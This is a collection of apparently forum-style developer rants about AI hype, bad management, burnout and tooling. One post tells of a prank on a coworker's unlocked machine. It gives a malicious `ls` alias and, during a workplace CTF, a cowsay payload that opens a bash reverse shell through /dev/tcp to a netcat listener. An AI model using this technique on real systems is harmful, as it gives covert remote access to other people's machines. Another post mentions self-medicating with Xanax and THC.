Lost all the lead engineers in my org. Now I'm the most senior.

God help us all.

client generated our goals and guidelines with Claude
Had a 2 hour meeting trying to understand what they want from us
Now we're using ChatGPT analysing the meeting's transcript to explain to us what the client wants from us

STOP USING AI IN HUMAN-HUMAN COMMUNICATIONS FFS

My scripts are made to be stupid-proof. Turns out I should have written them extra-stupid-proof.

Sold my first ever license. :) Months of work paid out.

Bossmang wrote a cursor prompt to pull tickets, their SLoC counts, and their average time to completion per dev, then praised or chastised accordingly.

You guessed it: no thought to complexity, code bloat, or scope creep. Just SLoC/day, days/ticket.

What won the statistics award is being assigned lots of small tickets /
tickets without scope creep, committing branches that don’t get merged, writing verbose spaghetti, using AI to write/rewrite large swaths of code, and simply moving large files.

Great job, dude! 💯🎉

Zig needs to get its shit together frankly.

I know the guy wants to perfect his little design, but has he never considered the fact that the shifting sands of perfection will never align for him?

Instead of working on making progress with the design he already established, he just keeps going back and changing fundamental parts as he sees fit and never making any forwards prog-

oh my god he's me.

So tomorrow is my last day of my 9 year long commitment to this company.

It was hell of a fun ride! I told myself ~5 years ago that this is the last company I will be working for. And I stand by it. I'm starting [continuing?] my own thing srarting next week.

I wish you all to find an employer [and be employed by] as amazing as I had [technically still have]. There's really nothing else a technitian can ask/wish for :)

"We weren't able to come up with a solution before because we were using GPT-3, and now GPT-5 has come out which is so much better"

"Even if the issue's unique, it's the context that matters. Had we put in a higher level prompt, we would've fixed this issue already"

"We absolutely need to implement an AI-first system because Amazon laid off so many engineers because of AI, it must mean that we are not using it properly."

"I'm gonna put a $1000 into trying Devin, and if it doesn't work, we're gonna keep trying over and over until we eventually reach the solution"

sigh....

Like many of us, tired of hearing the expressions: "infused with A.I.", "powered by A.I.", "augmented with A.I.", "A.I.-first", etc.

Diary of an obsessed company.

So at our company, the interview loop includes Sudoku.

Why?
Because if you can’t solve a puzzle with numbers, how are you going to survive when product throws 47 Jira tickets at you with conflicting priorities?

We know you will want to ask:
“Uh… what does Sudoku have to do with shipping features?”

Our response to you is:
“Well… if you put a 3 where a 7 should be, the whole board collapses.
Same thing happens if you deploy on Friday at 4:59pm.”

Next:
We interviewed a candidate
He solved the puzzle.
We hired him.
He still deploys on Friday and can't close tickets. 😔😔😔

🔥 Fire him!!!!! 😆 🤣 😂 😹

Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:

alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'

So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.

But still, harmless prank, right? Right? Well…

His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.

How did I win? First, I opened the good old Netcat on my end:

nc -lvnp 1337

…then temporarily replaced Borat's face with a juicy payload:

exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";

Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.

Moral of the story?

🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.

GREAT SUCCESS! 🎉

I discover every day some new annoyment with Windows 11. So far, I haven't found a single advantage over Windows 10. Windows 11 is a 100% downgrade.

Turns out it wasn't the RAM nor the graphics card but the barely used NVME (that I recently started using with linux as boot) that was causing random crashes.

Very tempted to still just replace the whole thing...

Nothing too important on there other than my bash history and LLM models

Just checked the source code of our backend project with that tight deadline. So far, the backend consists of an in-memory database, 2 records and no API. 🙃

There is also no documentation on how it should look like 🤡

Me and my bug are having dinner date

I waited so long to brag about this fact: I finish whatever project I start. No matter how bored I get, I never abandon it midway or get sidetracked into some shiny new gig. I was gloating and jubilating this evening cos I can beat my hands against my chest after months and months at a stretch. Held a little party on my WhatsApp status haha

Burned out but trapped at work for next 4-6 weeks - need survival tips

I'm 31y/o software dev and I'm completely fried and need advice on how to hang on until I can quit.

After 5 months job hunting, I landed a role that turned into a nightmare. 6 months of being bounced between different teams/scopes/projects with impossible deadlines and covering for incompetent managers/colleagues has left me burned out. Problem is, I'm finalizing a mortgage and can't quit or take sick leave without messing up income verification stage. Need to survive 4-6 more weeks.

Work is toxic and unpredictable - not enough resources given, blaming, shifting priorities, undefined tasks, endless meetings. Fake sense of urgency. Never feeling a sense of completion - there is always something extra that comes up. Documenting everything to have paper trail in case shit hits the fan, but honestly it feels like I'm at war daily and it's exhausting. I'm weeks behind on everything.

I have ADHD and my usual meds (18mg Concerta/10-20mg Lisdexamphetamine of Adixemin brand) aren't working anymore. Im able to fall asleep only after taking 0.2-0.3mg of Xanax or smoking some THC/CBD flowers. Constant brain fog, shot memory, never feel rested. Maybe 2-3 productive hours max daily before I become useless - either depressed or too wired and too anxious to function.

Already tried bunch of supplements (all possible forms magnesium, vitamin D, fish oil, my supplements drawer has like 60 different bottles), cleaned up diet, cut dairy/nicotine/alcohol/caffeine, taking strategic vacation days here and there in beginning or ending of a week.

I also suspected some allergies, tried out quercetine + vitamin c + all possible anti allergy meds - didnt help. I even suspected inflammation - tried curcumin and all other stuff - useless.

Anyone dealt with extreme burnout while trapped in a job? How do you function when your tank is empty but quitting isn't an option?

Only thing that helps is that I work fully remotely. Exercise would help but I cant force myself to do it.

Once the mortgage closes, I'm gone. Get a less stressful job lined up. Just need to survive until then without falling apart completely.

Fuck it's hard to be sober when getting drunk improves your coding productivity 10x

Went through a typescript tutorial and had a few aneurysms along the way.

What in the lovechild of basic , c and js families is this bullshitery?

Have I gotten so old or is anyone else feeling this?

Just, non-dev-people. Do I need to say more?